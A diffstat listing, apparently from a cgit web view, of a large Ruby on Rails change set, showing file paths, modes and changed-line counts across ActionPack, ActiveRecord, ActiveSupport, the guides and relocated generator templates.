aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--actionmailer/lib/action_mailer/base.rb43
-rw-r--r--actionmailer/lib/action_mailer/deprecated_body.rb38
-rw-r--r--actionmailer/test/mail_service_test.rb10
-rw-r--r--actionpack/lib/abstract_controller/base.rb140
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb2
-rw-r--r--actionpack/lib/action_controller/deprecated/dispatcher.rb5
-rw-r--r--actionpack/lib/action_controller/metal/cookies.rb186
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb4
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb34
-rw-r--r--actionpack/lib/action_controller/metal/testing.rb3
-rw-r--r--actionpack/lib/action_controller/railtie.rb50
-rw-r--r--actionpack/lib/action_controller/railties/subscriber.rb7
-rw-r--r--actionpack/lib/action_dispatch.rb12
-rw-r--r--actionpack/lib/action_dispatch/http/cache.rb123
-rw-r--r--actionpack/lib/action_dispatch/http/mime_negotiation.rb101
-rw-r--r--actionpack/lib/action_dispatch/http/parameters.rb50
-rwxr-xr-xactionpack/lib/action_dispatch/http/request.rb379
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb82
-rw-r--r--actionpack/lib/action_dispatch/http/upload.rb48
-rw-r--r--actionpack/lib/action_dispatch/http/url.rb129
-rw-r--r--actionpack/lib/action_dispatch/middleware/callbacks.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/cookies.rb216
-rw-r--r--actionpack/lib/action_dispatch/middleware/notifications.rb24
-rw-r--r--actionpack/lib/action_dispatch/middleware/show_exceptions.rb32
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb9
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb2
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb29
-rw-r--r--actionpack/lib/action_dispatch/railties/subscriber.rb17
-rw-r--r--actionpack/lib/action_dispatch/routing.rb7
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb61
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/routing.rb16
-rw-r--r--actionpack/lib/action_view/helpers/debug_helper.rb4
-rw-r--r--actionpack/lib/action_view/helpers/form_tag_helper.rb3
-rw-r--r--actionpack/lib/action_view/helpers/sanitize_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/text_helper.rb6
-rw-r--r--actionpack/test/abstract_unit.rb1
-rw-r--r--actionpack/test/activerecord/controller_runtime_test.rb4
-rw-r--r--actionpack/test/controller/cookie_test.rb37
-rw-r--r--actionpack/test/controller/filter_params_test.rb27
-rw-r--r--actionpack/test/controller/flash_test.rb2
-rw-r--r--actionpack/test/controller/new_base/base_test.rb28
-rw-r--r--actionpack/test/controller/subscriber_test.rb42
-rw-r--r--actionpack/test/dispatch/callbacks_test.rb12
-rw-r--r--actionpack/test/dispatch/response_test.rb9
-rw-r--r--actionpack/test/dispatch/routing_test.rb20
-rw-r--r--actionpack/test/dispatch/session/cookie_store_test.rb4
-rw-r--r--actionpack/test/dispatch/show_exceptions_test.rb45
-rw-r--r--actionpack/test/dispatch/subscriber_test.rb112
-rw-r--r--actionpack/test/fixtures/reply.rb2
-rw-r--r--activemodel/README68
-rw-r--r--activemodel/lib/active_model/callbacks.rb104
-rw-r--r--activemodel/lib/active_model/conversion.rb13
-rw-r--r--activemodel/lib/active_model/dirty.rb40
-rw-r--r--activemodel/lib/active_model/errors.rb2
-rw-r--r--activemodel/lib/active_model/validations/length.rb8
-rw-r--r--activemodel/lib/active_model/validations/validates.rb2
-rw-r--r--activemodel/test/cases/validations_test.rb8
-rw-r--r--activerecord/CHANGELOG10
-rw-r--r--activerecord/lib/active_record/association_preload.rb33
-rwxr-xr-xactiverecord/lib/active_record/associations.rb42
-rw-r--r--activerecord/lib/active_record/associations/association_collection.rb2
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb2
-rw-r--r--activerecord/lib/active_record/associations/has_many_association.rb2
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb2
-rw-r--r--activerecord/lib/active_record/autosave_association.rb10
-rwxr-xr-xactiverecord/lib/active_record/base.rb76
-rw-r--r--activerecord/lib/active_record/calculations.rb90
-rw-r--r--activerecord/lib/active_record/callbacks.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb13
-rw-r--r--activerecord/lib/active_record/fixtures.rb3
-rw-r--r--activerecord/lib/active_record/locking/optimistic.rb2
-rw-r--r--activerecord/lib/active_record/migration.rb3
-rw-r--r--activerecord/lib/active_record/named_scope.rb153
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb10
-rw-r--r--activerecord/lib/active_record/railties/databases.rake2
-rw-r--r--activerecord/lib/active_record/railties/subscriber.rb2
-rw-r--r--activerecord/lib/active_record/relation.rb47
-rw-r--r--activerecord/lib/active_record/relation/calculation_methods.rb4
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb42
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb3
-rw-r--r--activerecord/lib/active_record/relation/spawn_methods.rb39
-rw-r--r--activerecord/lib/active_record/transactions.rb4
-rw-r--r--activerecord/lib/active_record/validations.rb12
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb2
-rw-r--r--activerecord/lib/generators/active_record.rb (renamed from railties/lib/rails/generators/active_record.rb)8
-rw-r--r--activerecord/lib/generators/active_record/migration/migration_generator.rb (renamed from railties/lib/rails/generators/active_record/migration/migration_generator.rb)2
-rw-r--r--activerecord/lib/generators/active_record/migration/templates/migration.rb (renamed from railties/lib/rails/generators/active_record/migration/templates/migration.rb)0
-rw-r--r--activerecord/lib/generators/active_record/model/model_generator.rb (renamed from railties/lib/rails/generators/active_record/model/model_generator.rb)2
-rw-r--r--activerecord/lib/generators/active_record/model/templates/migration.rb (renamed from railties/lib/rails/generators/active_record/model/templates/migration.rb)0
-rw-r--r--activerecord/lib/generators/active_record/model/templates/model.rb (renamed from railties/lib/rails/generators/active_record/model/templates/model.rb)0
-rw-r--r--activerecord/lib/generators/active_record/observer/observer_generator.rb (renamed from railties/lib/rails/generators/active_record/observer/observer_generator.rb)2
-rw-r--r--activerecord/lib/generators/active_record/observer/templates/observer.rb (renamed from railties/lib/rails/generators/active_record/observer/templates/observer.rb)0
-rw-r--r--activerecord/lib/generators/active_record/session_migration/session_migration_generator.rb (renamed from railties/lib/rails/generators/active_record/session_migration/session_migration_generator.rb)2
-rw-r--r--activerecord/lib/generators/active_record/session_migration/templates/migration.rb (renamed from railties/lib/rails/generators/active_record/session_migration/templates/migration.rb)0
-rw-r--r--activerecord/test/cases/autosave_association_test.rb12
-rwxr-xr-xactiverecord/test/cases/base_test.rb4
-rw-r--r--activerecord/test/cases/calculations_test.rb17
-rw-r--r--activerecord/test/cases/method_scoping_test.rb14
-rw-r--r--activerecord/test/cases/named_scope_test.rb43
-rw-r--r--activerecord/test/cases/relations_test.rb17
-rw-r--r--activerecord/test/cases/schema_definitions_test.rb43
-rw-r--r--activerecord/test/cases/validations_test.rb29
-rw-r--r--activerecord/test/models/comment.rb6
-rw-r--r--activerecord/test/models/company.rb8
-rw-r--r--activerecord/test/models/developer.rb4
-rw-r--r--activerecord/test/models/organization.rb2
-rw-r--r--activerecord/test/models/person.rb4
-rw-r--r--activerecord/test/models/post.rb18
-rw-r--r--activerecord/test/models/reply.rb2
-rw-r--r--activerecord/test/models/topic.rb22
-rw-r--r--activeresource/lib/active_resource/base.rb7
-rw-r--r--activeresource/lib/active_resource/validations.rb15
-rw-r--r--activeresource/test/cases/validations_test.rb13
-rw-r--r--activesupport/lib/active_support/backtrace_cleaner.rb32
-rw-r--r--activesupport/lib/active_support/cache.rb8
-rw-r--r--activesupport/lib/active_support/callbacks.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/array/access.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/array/wrap.rb9
-rw-r--r--activesupport/lib/active_support/core_ext/exception.rb47
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb48
-rw-r--r--activesupport/lib/active_support/core_ext/hash/except.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/object/duplicable.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/rexml.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/string/access.rb4
-rw-r--r--activesupport/lib/active_support/multibyte/chars.rb2
-rw-r--r--activesupport/lib/active_support/notifications.rb2
-rw-r--r--activesupport/lib/active_support/notifications/instrumenter.rb9
-rw-r--r--activesupport/test/core_ext/exception_test.rb69
-rw-r--r--activesupport/test/notifications_test.rb16
-rw-r--r--railties/README62
-rwxr-xr-xrailties/bin/rails2
-rw-r--r--railties/guides/rails_guides.rb15
-rw-r--r--railties/guides/rails_guides/generator.rb22
-rw-r--r--railties/guides/rails_guides/indexer.rb4
-rw-r--r--railties/guides/source/2_2_release_notes.textile18
-rw-r--r--railties/guides/source/2_3_release_notes.textile6
-rw-r--r--railties/guides/source/action_mailer_basics.textile4
-rw-r--r--railties/guides/source/action_view_overview.textile1430
-rw-r--r--railties/guides/source/active_record_basics.textile135
-rw-r--r--railties/guides/source/active_support_core_extensions.textile1835
-rw-r--r--railties/guides/source/active_support_overview.textile818
-rw-r--r--railties/guides/source/activerecord_validations_callbacks.textile41
-rw-r--r--railties/guides/source/ajax_on_rails.textile322
-rw-r--r--railties/guides/source/association_basics.textile2
-rw-r--r--railties/guides/source/caching_with_rails.textile4
-rw-r--r--railties/guides/source/configuring.textile174
-rw-r--r--railties/guides/source/contributing_to_rails.textile38
-rw-r--r--railties/guides/source/credits.textile.erb (renamed from railties/guides/source/credits.erb.textile)0
-rw-r--r--railties/guides/source/debugging_rails_applications.textile2
-rw-r--r--railties/guides/source/form_helpers.textile4
-rw-r--r--railties/guides/source/generators.textile378
-rw-r--r--railties/guides/source/getting_started.textile10
-rw-r--r--railties/guides/source/i18n.textile2
-rw-r--r--railties/guides/source/index.textile.erb (renamed from railties/guides/source/index.erb.textile)0
-rw-r--r--railties/guides/source/layout.html.erb2
-rw-r--r--railties/guides/source/migrations.textile2
-rw-r--r--railties/guides/source/plugins.textile2
-rw-r--r--railties/guides/source/rails_on_rack.textile2
-rw-r--r--railties/guides/source/routing.textile6
-rw-r--r--railties/guides/source/security.textile54
-rw-r--r--railties/guides/source/testing.textile81
-rw-r--r--railties/lib/generators/erb.rb (renamed from railties/lib/rails/generators/erb.rb)0
-rw-r--r--railties/lib/generators/erb/controller/controller_generator.rb (renamed from railties/lib/rails/generators/erb/controller/controller_generator.rb)2
-rw-r--r--railties/lib/generators/erb/controller/templates/view.html.erb (renamed from railties/lib/rails/generators/erb/controller/templates/view.html.erb)0
-rw-r--r--railties/lib/generators/erb/mailer/mailer_generator.rb (renamed from railties/lib/rails/generators/erb/mailer/mailer_generator.rb)2
-rw-r--r--railties/lib/generators/erb/mailer/templates/view.erb (renamed from railties/lib/rails/generators/erb/mailer/templates/view.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/scaffold_generator.rb (renamed from railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb)2
-rw-r--r--railties/lib/generators/erb/scaffold/templates/_form.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/templates/edit.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/templates/index.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/index.html.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/templates/layout.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/layout.html.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/templates/new.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/new.html.erb)0
-rw-r--r--railties/lib/generators/erb/scaffold/templates/show.html.erb (renamed from railties/lib/rails/generators/erb/scaffold/templates/show.html.erb)0
-rw-r--r--railties/lib/generators/rails/app/USAGE (renamed from railties/lib/rails/generators/rails/app/USAGE)0
-rw-r--r--railties/lib/generators/rails/app/app_generator.rb (renamed from railties/lib/rails/generators/rails/app/app_generator.rb)6
-rw-r--r--railties/lib/generators/rails/app/templates/Gemfile (renamed from railties/lib/rails/generators/rails/app/templates/Gemfile)0
-rw-r--r--railties/lib/generators/rails/app/templates/README (renamed from railties/lib/rails/generators/rails/app/templates/README)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/Rakefile (renamed from railties/lib/rails/generators/rails/app/templates/Rakefile)0
-rw-r--r--railties/lib/generators/rails/app/templates/app/controllers/application_controller.rb (renamed from railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/app/helpers/application_helper.rb (renamed from railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/app/models/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/app/templates/app/views/layouts/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/app/views/layouts/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/app/templates/config.ru (renamed from railties/lib/rails/generators/rails/app/templates/config.ru)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/application.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/application.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/boot.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/boot.rb)13
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/frontbase.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/ibm_db.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/mysql.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/oracle.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/postgresql.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/databases/sqlite3.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/environment.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/environment.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/environments/development.rb.tt (renamed from railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/environments/production.rb.tt (renamed from railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/environments/test.rb.tt (renamed from railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/initializers/backtrace_silencers.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/cookie_verification_secret.rb.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/initializers/inflections.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/initializers/mime_types.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/initializers/session_store.rb.tt (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/locales/en.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/locales/en.yml)0
-rw-r--r--railties/lib/generators/rails/app/templates/config/routes.rb (renamed from railties/lib/rails/generators/rails/app/templates/config/routes.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/db/seeds.rb (renamed from railties/lib/rails/generators/rails/app/templates/db/seeds.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/doc/README_FOR_APP (renamed from railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP)0
-rw-r--r--railties/lib/generators/rails/app/templates/gitignore (renamed from railties/lib/rails/generators/rails/app/templates/gitignore)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/404.html (renamed from railties/lib/rails/generators/rails/app/templates/public/404.html)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/422.html (renamed from railties/lib/rails/generators/rails/app/templates/public/422.html)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/500.html (renamed from railties/lib/rails/generators/rails/app/templates/public/500.html)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/favicon.ico (renamed from railties/lib/rails/generators/rails/app/templates/public/favicon.ico)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/images/rails.png (renamed from railties/lib/rails/generators/rails/app/templates/public/images/rails.png)bin6646 -> 6646 bytes
-rw-r--r--railties/lib/generators/rails/app/templates/public/index.html (renamed from railties/lib/rails/generators/rails/app/templates/public/index.html)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/javascripts/application.js (renamed from railties/lib/rails/generators/rails/app/templates/public/javascripts/application.js)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/javascripts/controls.js (renamed from railties/lib/rails/generators/rails/app/templates/public/javascripts/controls.js)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/javascripts/dragdrop.js (renamed from railties/lib/rails/generators/rails/app/templates/public/javascripts/dragdrop.js)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/javascripts/effects.js (renamed from railties/lib/rails/generators/rails/app/templates/public/javascripts/effects.js)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/javascripts/prototype.js (renamed from railties/lib/rails/generators/rails/app/templates/public/javascripts/prototype.js)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/robots.txt (renamed from railties/lib/rails/generators/rails/app/templates/public/robots.txt)0
-rw-r--r--railties/lib/generators/rails/app/templates/public/stylesheets/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/about (renamed from railties/lib/rails/generators/rails/app/templates/script/about)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/console.tt (renamed from railties/lib/rails/generators/rails/app/templates/script/console.tt)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/dbconsole.tt (renamed from railties/lib/rails/generators/rails/app/templates/script/dbconsole.tt)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/destroy (renamed from railties/lib/rails/generators/rails/app/templates/script/destroy)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/generate (renamed from railties/lib/rails/generators/rails/app/templates/script/generate)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/performance/benchmarker (renamed from railties/lib/rails/generators/rails/app/templates/script/performance/benchmarker)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/performance/profiler (renamed from railties/lib/rails/generators/rails/app/templates/script/performance/profiler)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/plugin (renamed from railties/lib/rails/generators/rails/app/templates/script/plugin)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/runner (renamed from railties/lib/rails/generators/rails/app/templates/script/runner)0
-rwxr-xr-xrailties/lib/generators/rails/app/templates/script/server.tt (renamed from railties/lib/rails/generators/rails/app/templates/script/server.tt)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/fixtures/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/functional/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/integration/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/performance/browsing_test.rb (renamed from railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/test_helper.rb (renamed from railties/lib/rails/generators/rails/app/templates/test/test_helper.rb)0
-rw-r--r--railties/lib/generators/rails/app/templates/test/unit/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/controller/USAGE (renamed from railties/lib/rails/generators/rails/controller/USAGE)0
-rw-r--r--railties/lib/generators/rails/controller/controller_generator.rb (renamed from railties/lib/rails/generators/rails/controller/controller_generator.rb)0
-rw-r--r--railties/lib/generators/rails/controller/templates/controller.rb (renamed from railties/lib/rails/generators/rails/controller/templates/controller.rb)0
-rw-r--r--railties/lib/generators/rails/generator/USAGE (renamed from railties/lib/rails/generators/rails/generator/USAGE)0
-rw-r--r--railties/lib/generators/rails/generator/generator_generator.rb (renamed from railties/lib/rails/generators/rails/generator/generator_generator.rb)0
-rw-r--r--railties/lib/generators/rails/generator/templates/%file_name%_generator.rb.tt (renamed from railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt)0
-rw-r--r--railties/lib/generators/rails/generator/templates/USAGE.tt (renamed from railties/lib/rails/generators/rails/generator/templates/USAGE.tt)0
-rw-r--r--railties/lib/generators/rails/generator/templates/templates/.empty_directory (renamed from railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory)0
-rw-r--r--railties/lib/generators/rails/helper/USAGE (renamed from railties/lib/rails/generators/rails/helper/USAGE)0
-rw-r--r--railties/lib/generators/rails/helper/helper_generator.rb (renamed from railties/lib/rails/generators/rails/helper/helper_generator.rb)0
-rw-r--r--railties/lib/generators/rails/helper/templates/helper.rb (renamed from railties/lib/rails/generators/rails/helper/templates/helper.rb)0
-rw-r--r--railties/lib/generators/rails/integration_test/USAGE (renamed from railties/lib/rails/generators/rails/integration_test/USAGE)0
-rw-r--r--railties/lib/generators/rails/integration_test/integration_test_generator.rb (renamed from railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb)0
-rw-r--r--railties/lib/generators/rails/mailer/USAGE (renamed from railties/lib/rails/generators/rails/mailer/USAGE)4
-rw-r--r--railties/lib/generators/rails/mailer/mailer_generator.rb (renamed from railties/lib/rails/generators/rails/mailer/mailer_generator.rb)2
-rw-r--r--railties/lib/generators/rails/mailer/templates/mailer.rb (renamed from railties/lib/rails/generators/rails/mailer/templates/mailer.rb)0
-rw-r--r--railties/lib/generators/rails/metal/USAGE (renamed from railties/lib/rails/generators/rails/metal/USAGE)0
-rw-r--r--railties/lib/generators/rails/metal/metal_generator.rb (renamed from railties/lib/rails/generators/rails/metal/metal_generator.rb)0
-rw-r--r--railties/lib/generators/rails/metal/templates/metal.rb (renamed from railties/lib/rails/generators/rails/metal/templates/metal.rb)0
-rw-r--r--railties/lib/generators/rails/migration/USAGE (renamed from railties/lib/rails/generators/rails/migration/USAGE)0
-rw-r--r--railties/lib/generators/rails/migration/migration_generator.rb (renamed from railties/lib/rails/generators/rails/migration/migration_generator.rb)0
-rw-r--r--railties/lib/generators/rails/model/USAGE (renamed from railties/lib/rails/generators/rails/model/USAGE)0
-rw-r--r--railties/lib/generators/rails/model/model_generator.rb (renamed from railties/lib/rails/generators/rails/model/model_generator.rb)0
-rw-r--r--railties/lib/generators/rails/model_subclass/model_subclass_generator.rb (renamed from railties/lib/rails/generators/rails/model_subclass/model_subclass_generator.rb)1
-rw-r--r--railties/lib/generators/rails/observer/USAGE (renamed from railties/lib/rails/generators/rails/observer/USAGE)0
-rw-r--r--railties/lib/generators/rails/observer/observer_generator.rb (renamed from railties/lib/rails/generators/rails/observer/observer_generator.rb)0
-rw-r--r--railties/lib/generators/rails/performance_test/USAGE (renamed from railties/lib/rails/generators/rails/performance_test/USAGE)0
-rw-r--r--railties/lib/generators/rails/performance_test/performance_test_generator.rb (renamed from railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb)0
-rw-r--r--railties/lib/generators/rails/plugin/USAGE (renamed from railties/lib/rails/generators/rails/plugin/USAGE)0
-rw-r--r--railties/lib/generators/rails/plugin/plugin_generator.rb (renamed from railties/lib/rails/generators/rails/plugin/plugin_generator.rb)14
-rw-r--r--railties/lib/generators/rails/plugin/templates/MIT-LICENSE.tt (renamed from railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/README.tt (renamed from railties/lib/rails/generators/rails/plugin/templates/README)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/Rakefile.tt (renamed from railties/lib/rails/generators/rails/plugin/templates/Rakefile)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/init.rb (renamed from railties/lib/rails/generators/rails/plugin/templates/init.rb)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/install.rb (renamed from railties/lib/rails/generators/rails/plugin/templates/install.rb)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/lib/%file_name%.rb.tt (renamed from railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt (renamed from railties/lib/rails/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt)0
-rw-r--r--railties/lib/generators/rails/plugin/templates/uninstall.rb (renamed from railties/lib/rails/generators/rails/plugin/templates/uninstall.rb)0
-rw-r--r--railties/lib/generators/rails/resource/USAGE (renamed from railties/lib/rails/generators/rails/resource/USAGE)0
-rw-r--r--railties/lib/generators/rails/resource/resource_generator.rb (renamed from railties/lib/rails/generators/rails/resource/resource_generator.rb)2
-rw-r--r--railties/lib/generators/rails/scaffold/USAGE (renamed from railties/lib/rails/generators/rails/scaffold/USAGE)0
-rw-r--r--railties/lib/generators/rails/scaffold/scaffold_generator.rb (renamed from railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb)2
-rw-r--r--railties/lib/generators/rails/scaffold_controller/USAGE (renamed from railties/lib/rails/generators/rails/scaffold_controller/USAGE)0
-rw-r--r--railties/lib/generators/rails/scaffold_controller/scaffold_controller_generator.rb (renamed from railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb)0
-rw-r--r--railties/lib/generators/rails/scaffold_controller/templates/controller.rb (renamed from railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb)0
-rw-r--r--railties/lib/generators/rails/session_migration/USAGE (renamed from railties/lib/rails/generators/rails/session_migration/USAGE)0
-rw-r--r--railties/lib/generators/rails/session_migration/session_migration_generator.rb (renamed from railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb)0
-rw-r--r--railties/lib/generators/rails/stylesheets/USAGE (renamed from railties/lib/rails/generators/rails/stylesheets/USAGE)0
-rw-r--r--railties/lib/generators/rails/stylesheets/stylesheets_generator.rb (renamed from railties/lib/rails/generators/rails/stylesheets/stylesheets_generator.rb)0
-rw-r--r--railties/lib/generators/rails/stylesheets/templates/scaffold.css (renamed from railties/lib/rails/generators/rails/stylesheets/templates/scaffold.css)0
-rw-r--r--railties/lib/generators/test_unit.rb (renamed from railties/lib/rails/generators/test_unit.rb)0
-rw-r--r--railties/lib/generators/test_unit/controller/controller_generator.rb (renamed from railties/lib/rails/generators/test_unit/controller/controller_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/controller/templates/functional_test.rb (renamed from railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/helper/helper_generator.rb (renamed from railties/lib/rails/generators/test_unit/helper/helper_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/helper/templates/helper_test.rb (renamed from railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/integration/integration_generator.rb (renamed from railties/lib/rails/generators/test_unit/integration/integration_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/integration/templates/integration_test.rb (renamed from railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/mailer/mailer_generator.rb (renamed from railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb)4
-rw-r--r--railties/lib/generators/test_unit/mailer/templates/fixture (renamed from railties/lib/rails/generators/test_unit/mailer/templates/fixture)0
-rw-r--r--railties/lib/generators/test_unit/mailer/templates/functional_test.rb (renamed from railties/lib/rails/generators/test_unit/mailer/templates/unit_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/model/model_generator.rb (renamed from railties/lib/rails/generators/test_unit/model/model_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/model/templates/fixtures.yml (renamed from railties/lib/rails/generators/test_unit/model/templates/fixtures.yml)0
-rw-r--r--railties/lib/generators/test_unit/model/templates/unit_test.rb (renamed from railties/lib/rails/generators/test_unit/model/templates/unit_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/observer/observer_generator.rb (renamed from railties/lib/rails/generators/test_unit/observer/observer_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/observer/templates/unit_test.rb (renamed from railties/lib/rails/generators/test_unit/observer/templates/unit_test.rb)0
